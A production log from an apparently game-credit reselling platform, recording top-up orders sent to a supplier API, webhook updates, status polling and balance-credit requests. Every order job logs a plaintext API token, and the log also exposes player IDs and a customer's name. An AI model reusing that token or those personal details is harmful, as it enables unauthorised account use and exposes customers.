[2026-03-24 21:05:58] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"1000.0","mainamount":"1000","operation_number":"158737184","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phpmms9tmdepgrpelepCP8"}},"user_id":69} 
[2026-03-24 21:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:06:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:06:01] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:06:01] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18710,"user_id":69,"amount":1000.0,"admins_notified":7} 
[2026-03-24 21:06:04] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04"} 
[2026-03-24 21:06:04] production.INFO: Found pending operations {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04","total_operations":1,"sites_count":1} 
[2026-03-24 21:06:04] production.INFO: Processing site batch {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-Ruo-1774375001"]} 
[2026-03-24 21:06:04] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:06:04] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:06:04] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:06:04] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 21:06:04] production.INFO: Batch query completed {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:06:04] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"crISNM3eMnKwMLXd8CvX0iW3P52sdheU","execution_time":"2026-03-24 21:06:04","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:07:12] production.INFO: Constructing job for order: 179370  
[2026-03-24 21:07:13] production.INFO: Handling job for order: 179370  
[2026-03-24 21:07:13] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:07:13] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:07:13] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=200&uuid=64722638-08fd-400a-961f-44cf63f0f2e7&Player_ID=shahen88  
[2026-03-24 21:07:13] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=200&uuid=64722638-08fd-400a-961f-44cf63f0f2e7&Player_ID=shahen88","has_body":false} 
[2026-03-24 21:07:14] production.INFO: Operation sent successfully {"operation_id":164246,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-bHlEHXF-1774375633","amount":3.49565215999999967522171573364175856113433837890625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 21:07:14"}},"processed_data":{"order_number":"ORD-bHlEHXF-1774375633","amount":3.49565215999999967522171573364175856113433837890625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 21:07:20] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-bHlEHXF-1774375633","status":"completed","notes":["جميع العمليات اكتملت بنجاح"],"codes":[]}} 
[2026-03-24 21:07:20] production.INFO: Processed webhook data (normalized) {"id":"ORD-bHlEHXF-1774375633","status":"completed","codes":[],"notes":["جميع العمليات اكتملت بنجاح"]} 
[2026-03-24 21:07:20] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:07:20] production.INFO: SendAcceptReject: Notification queued {"user_id":620,"notification_type":"order_approved","reference_id":179370} 
[2026-03-24 21:07:20] production.INFO: Order updated successfully. Order ID: 179370, Status: completed  
[2026-03-24 21:07:20] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-bHlEHXF-1774375633","status":"completed","codes_count":0} 
[2026-03-24 21:07:23] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 620  
[2026-03-24 21:08:02] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02"} 
[2026-03-24 21:08:02] production.INFO: Found pending operations {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02","total_operations":1,"sites_count":1} 
[2026-03-24 21:08:02] production.INFO: Processing site batch {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02","site_id":3,"site_name":"swgamessd","orders_count":1,"order_ids":["ORD-Ruo-1774375001"]} 
[2026-03-24 21:08:02] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:08:02] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":1} 
[2026-03-24 21:08:02] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:08:02] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":1,"updates_prepared":0} 
[2026-03-24 21:08:02] production.INFO: Batch query completed {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:08:02] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"dZVKb8myy5EHfWQqOJRiTaZVEMcGrYON","execution_time":"2026-03-24 21:08:02","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:08:30] production.INFO: Constructing job for order: 179371  
[2026-03-24 21:08:32] production.INFO: Handling job for order: 179371  
[2026-03-24 21:08:32] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:08:32] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:08:32] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=1a015520-17bb-46b2-879d-4256ed041968&Player_ID=5374793426  
[2026-03-24 21:08:32] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=1a015520-17bb-46b2-879d-4256ed041968&Player_ID=5374793426","has_body":false} 
[2026-03-24 21:08:33] production.INFO: Operation sent successfully {"operation_id":164247,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-SGtqEA-1774375713","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:08:33"}},"processed_data":{"order_number":"ORD-SGtqEA-1774375713","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:08:44] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-SGtqEA-1774375713","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:08:44] production.INFO: Processed webhook data (normalized) {"id":"ORD-SGtqEA-1774375713","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:08:44] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:08:44] production.INFO: SendAcceptReject: Notification queued {"user_id":663,"notification_type":"order_approved","reference_id":179371} 
[2026-03-24 21:08:44] production.INFO: Order updated successfully. Order ID: 179371, Status: completed  
[2026-03-24 21:08:44] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-SGtqEA-1774375713","status":"completed","codes_count":0} 
[2026-03-24 21:08:45] production.INFO: Constructing job for order: 179372  
[2026-03-24 21:08:48] production.INFO: Handling job for order: 179372  
[2026-03-24 21:08:48] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:08:48] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:08:48] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e5188919-5c0b-4406-ba20-56f903e14e36&Player_ID=5667142069  
[2026-03-24 21:08:48] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/53/params?qty=1&uuid=e5188919-5c0b-4406-ba20-56f903e14e36&Player_ID=5667142069","has_body":false} 
[2026-03-24 21:08:49] production.INFO: Operation sent successfully {"operation_id":164248,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-Qt23U7F-1774375729","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG","notes":[],"created_at":"2026-03-24 21:08:49"}},"processed_data":{"order_number":"ORD-Qt23U7F-1774375729","amount":0.89249999999999996003197111349436454474925994873046875,"status":"processing","product":"60UC","game":"PUBG"}} 
[2026-03-24 21:08:59] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-Qt23U7F-1774375729","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:08:59] production.INFO: Processed webhook data (normalized) {"id":"ORD-Qt23U7F-1774375729","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:08:59] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:08:59] production.INFO: SendAcceptReject: Notification queued {"user_id":528,"notification_type":"order_approved","reference_id":179372} 
[2026-03-24 21:08:59] production.INFO: Order updated successfully. Order ID: 179372, Status: completed  
[2026-03-24 21:08:59] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-Qt23U7F-1774375729","status":"completed","codes_count":0} 
[2026-03-24 21:09:01] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 528  
[2026-03-24 21:09:03] production.INFO: Creating credit request {"payload":{"method_id":"1","amount":"4.8","mainamount":"4.8","operation_number":"158725450","note":"أحمد حمادة","currency_id":"1","file":{"Illuminate\\Http\\UploadedFile":"/tmp/phppc5j61ilbfu4fpEBwtY"}},"user_id":1759} 
[2026-03-24 21:09:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:09:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:09:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:09:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:09:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:09:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:09:04] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:09:04] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:09:04] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18711,"user_id":1759,"amount":4.79999999999999982236431605997495353221893310546875,"admins_notified":7} 
[2026-03-24 21:09:19] production.INFO: Constructing job for order: 179373  
[2026-03-24 21:09:22] production.INFO: Handling job for order: 179373  
[2026-03-24 21:09:22] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:09:22] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:09:22] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=837806b7-d333-4642-8da0-12417f8f1789&Player_ID=10788845426  
[2026-03-24 21:09:22] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/88/params?qty=1&uuid=837806b7-d333-4642-8da0-12417f8f1789&Player_ID=10788845426","has_body":false} 
[2026-03-24 21:09:23] production.INFO: Operation sent successfully {"operation_id":164249,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-El3h-1774375762","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}","notes":[],"created_at":"2026-03-24 21:09:23"}},"processed_data":{"order_number":"ORD-El3h-1774375762","amount":1.879350000000000076028072726330719888210296630859375,"status":"processing","product":"210+20 Diamond","game":"FREEFIRE {R}"}} 
[2026-03-24 21:09:23] production.INFO: Constructing job for order: 179374  
[2026-03-24 21:09:26] production.INFO: Handling job for order: 179374  
[2026-03-24 21:09:26] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:09:26] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:09:26] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=2500&uuid=af3fdea7-d91f-4028-bd8e-67efadbb52cb&Player_ID=7224b09152cf2575e8a92fa6d524cb6a  
[2026-03-24 21:09:26] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=2500&uuid=af3fdea7-d91f-4028-bd8e-67efadbb52cb&Player_ID=7224b09152cf2575e8a92fa6d524cb6a","has_body":false} 
[2026-03-24 21:09:27] production.INFO: Operation sent successfully {"operation_id":164250,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-dmC3KGa-1774375766","amount":43.6956519999999954961822368204593658447265625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 21:09:27"}},"processed_data":{"order_number":"ORD-dmC3KGa-1774375766","amount":43.6956519999999954961822368204593658447265625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 21:09:53] production.INFO: Webhook received - Raw data {"payload":{"id":"ORD-El3h-1774375762","status":"completed","notes":["__"],"codes":[]}} 
[2026-03-24 21:09:53] production.INFO: Processed webhook data (normalized) {"id":"ORD-El3h-1774375762","status":"completed","codes":[],"notes":["__"]} 
[2026-03-24 21:09:53] production.INFO: Mapped webhook status {"external_status":"completed","mapped_status":2} 
[2026-03-24 21:09:53] production.INFO: SendAcceptReject: Notification queued {"user_id":13,"notification_type":"order_approved","reference_id":179373} 
[2026-03-24 21:09:53] production.INFO: Order updated successfully. Order ID: 179373, Status: completed  
[2026-03-24 21:09:53] production.INFO: Order updated via OrderService->update from webhook {"order_id":"ORD-El3h-1774375762","status":"completed","codes_count":0} 
[2026-03-24 21:09:54] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\User ID 13  
[2026-03-24 21:10:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03"} 
[2026-03-24 21:10:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","total_operations":2,"sites_count":1} 
[2026-03-24 21:10:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","site_id":3,"site_name":"swgamessd","orders_count":2,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766"]} 
[2026-03-24 21:10:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:10:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":2} 
[2026-03-24 21:10:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:10:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:10:03] production.INFO: Batch processing summary {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"skipped":2,"updates_prepared":0} 
[2026-03-24 21:10:03] production.INFO: Batch query completed {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235,"processed":0,"errors":0} 
[2026-03-24 21:10:03] production.INFO: Operation status check completed successfully {"job":"Quryjob","job_id":"2nQuVJeso9kgsEA0L3EHXt1OCvJzfflU","execution_time":"2026-03-24 21:10:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
[2026-03-24 21:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 21:10:03] production.INFO: بدأت مهمة GetProducts  
[2026-03-24 21:10:03] production.INFO: Executing GetProducts task...  
[2026-03-24 21:10:05] production.INFO: async() رجع: true  
[2026-03-24 21:10:05] production.INFO: هبدأ في refreshPriceinsite()  
[2026-03-24 21:10:05] production.WARNING: Product with ID 395 not found  
[2026-03-24 21:10:06] production.WARNING: Product with ID 213 not found  
[2026-03-24 21:10:06] production.WARNING: Product with ID 212 not found  
[2026-03-24 21:10:06] production.WARNING: Product with ID 211 not found  
[2026-03-24 21:10:06] production.WARNING: Product with ID 210 not found  
[2026-03-24 21:10:06] production.WARNING: Product with ID 209 not found  
[2026-03-24 21:10:06] production.WARNING: Product with ID 214 not found  
[2026-03-24 21:10:06] production.WARNING: Product with ID 215 not found  
[2026-03-24 21:10:06] production.WARNING: Product with ID 216 not found  
[2026-03-24 21:10:06] production.INFO: Constructing job for order: 179375  
[2026-03-24 21:10:06] production.INFO: خلصت refreshPriceinsite()  
[2026-03-24 21:10:09] production.INFO: Handling job for order: 179375  
[2026-03-24 21:10:09] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:10:09] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:10:09] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=dcc9be08-22f9-4de2-a7f9-5c10a1883d2f&Player_ID=7224b09152cf2575e8a92fa6d524cb6a  
[2026-03-24 21:10:09] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=100&uuid=dcc9be08-22f9-4de2-a7f9-5c10a1883d2f&Player_ID=7224b09152cf2575e8a92fa6d524cb6a","has_body":false} 
[2026-03-24 21:10:10] production.INFO: Operation sent successfully {"operation_id":164251,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-w9iTLC-1774375810","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 21:10:10"}},"processed_data":{"order_number":"ORD-w9iTLC-1774375810","amount":1.747826079999999837610857866820879280567169189453125,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 21:10:14] production.INFO: Creating credit request {"payload":{"method_id":"13","amount":"5000.0","mainamount":"5000","operation_number":"158741265","currency_id":"2","file":{"Illuminate\\Http\\UploadedFile":"/tmp/php5h56tui73r014RiTiv1"}},"user_id":50} 
[2026-03-24 21:10:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 1  
[2026-03-24 21:10:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 5  
[2026-03-24 21:10:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 6  
[2026-03-24 21:10:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 7  
[2026-03-24 21:10:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 8  
[2026-03-24 21:10:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 9  
[2026-03-24 21:10:16] production.INFO: UnifiedNotificationService: No active FCM tokens for App\Models\Admin ID 10  
[2026-03-24 21:10:16] production.INFO: UnifiedNotificationService: Sent to 7 admins with permission 'view balance requests'  
[2026-03-24 21:10:16] production.INFO: NotifyAdminsOfPendingRequest: Notifications sent via unified service {"request_id":18712,"user_id":50,"amount":5000.0,"admins_notified":7} 
[2026-03-24 21:10:18] production.INFO: Constructing job for order: 179376  
[2026-03-24 21:10:19] production.INFO: Handling job for order: 179376  
[2026-03-24 21:10:19] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:10:19] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:10:19] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/95/params?qty=50&uuid=4a6dc472-34ac-44d6-8961-c4d689a3737a&Player_ID=7224b09152cf2575e8a92fa6d524cb6a  
[2026-03-24 21:10:19] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/95/params?qty=50&uuid=4a6dc472-34ac-44d6-8961-c4d689a3737a&Player_ID=7224b09152cf2575e8a92fa6d524cb6a","has_body":false} 
[2026-03-24 21:10:20] production.INFO: Operation sent successfully {"operation_id":164252,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-aN9XaXgI-1774375820","amount":0.8739130399999999188054289334104396402835845947265625,"status":"processing","product":"Bigo Amount","game":"BigoLive","notes":[],"created_at":"2026-03-24 21:10:20"}},"processed_data":{"order_number":"ORD-aN9XaXgI-1774375820","amount":0.8739130399999999188054289334104396402835845947265625,"status":"processing","product":"Bigo Amount","game":"BigoLive"}} 
[2026-03-24 21:10:47] production.INFO: Constructing job for order: 179377  
[2026-03-24 21:10:50] production.INFO: Handling job for order: 179377  
[2026-03-24 21:10:50] production.INFO: 219 {"apiToken":"yqk2kfh8vxg57253hcu6dzaory"} 
[2026-03-24 21:10:50] production.ERROR: ❌ Invalid player_id JSON: player_id  
[2026-03-24 21:10:50] production.INFO: 🔗 Final request URL: https://sw-games.net/api/fastapi/requestorder/730/params?qty=10000&uuid=cd2615d4-f8cc-47d5-bb8f-bbbc69de2bae&Player_ID=588641378  
[2026-03-24 21:10:50] production.INFO: Sending HTTP request {"method":"GET","url":"https://sw-games.net/api/fastapi/requestorder/730/params?qty=10000&uuid=cd2615d4-f8cc-47d5-bb8f-bbbc69de2bae&Player_ID=588641378","has_body":false} 
[2026-03-24 21:10:51] production.INFO: Operation sent successfully {"operation_id":164253,"response":{"error":false,"message":"تم معالجة الطلب بنجاح","data":{"order_number":"ORD-nDS-1774375851","amount":1.0080050000000000398614474761416204273700714111328125,"status":"processing","product":"TAKA Amount","game":"TakaChat","notes":[],"created_at":"2026-03-24 21:10:51"}},"processed_data":{"order_number":"ORD-nDS-1774375851","amount":1.0080050000000000398614474761416204273700714111328125,"status":"processing","product":"TAKA Amount","game":"TakaChat"}} 
[2026-03-24 21:12:03] production.INFO: Executing operation status check... {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03"} 
[2026-03-24 21:12:03] production.INFO: Found pending operations {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","total_operations":5,"sites_count":1} 
[2026-03-24 21:12:03] production.INFO: Processing site batch {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","orders_count":5,"order_ids":["ORD-Ruo-1774375001","ORD-dmC3KGa-1774375766","ORD-w9iTLC-1774375810","ORD-aN9XaXgI-1774375820","ORD-nDS-1774375851"]} 
[2026-03-24 21:12:03] production.INFO: Starting batch query for site {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd"} 
[2026-03-24 21:12:03] production.INFO: Processing orders from batch response {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","orders_count":5} 
[2026-03-24 21:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-aN9XaXgI-1774375820","operation_id":164252} 
[2026-03-24 21:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-dmC3KGa-1774375766","operation_id":164250} 
[2026-03-24 21:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-nDS-1774375851","operation_id":164253} 
[2026-03-24 21:12:03] production.INFO: Order still processing on external site {"job":"Quryjob","job_id":"jj0wrLvGrkeXNw9kf94xLdfELd0Rz7iz","execution_time":"2026-03-24 21:12:03","site_id":3,"site_name":"swgamessd","service":"QueryExternalOrderService","method":"queryBatchOrders","processing_order":"ORD-Ruo-1774375001","operation_id":164235} 
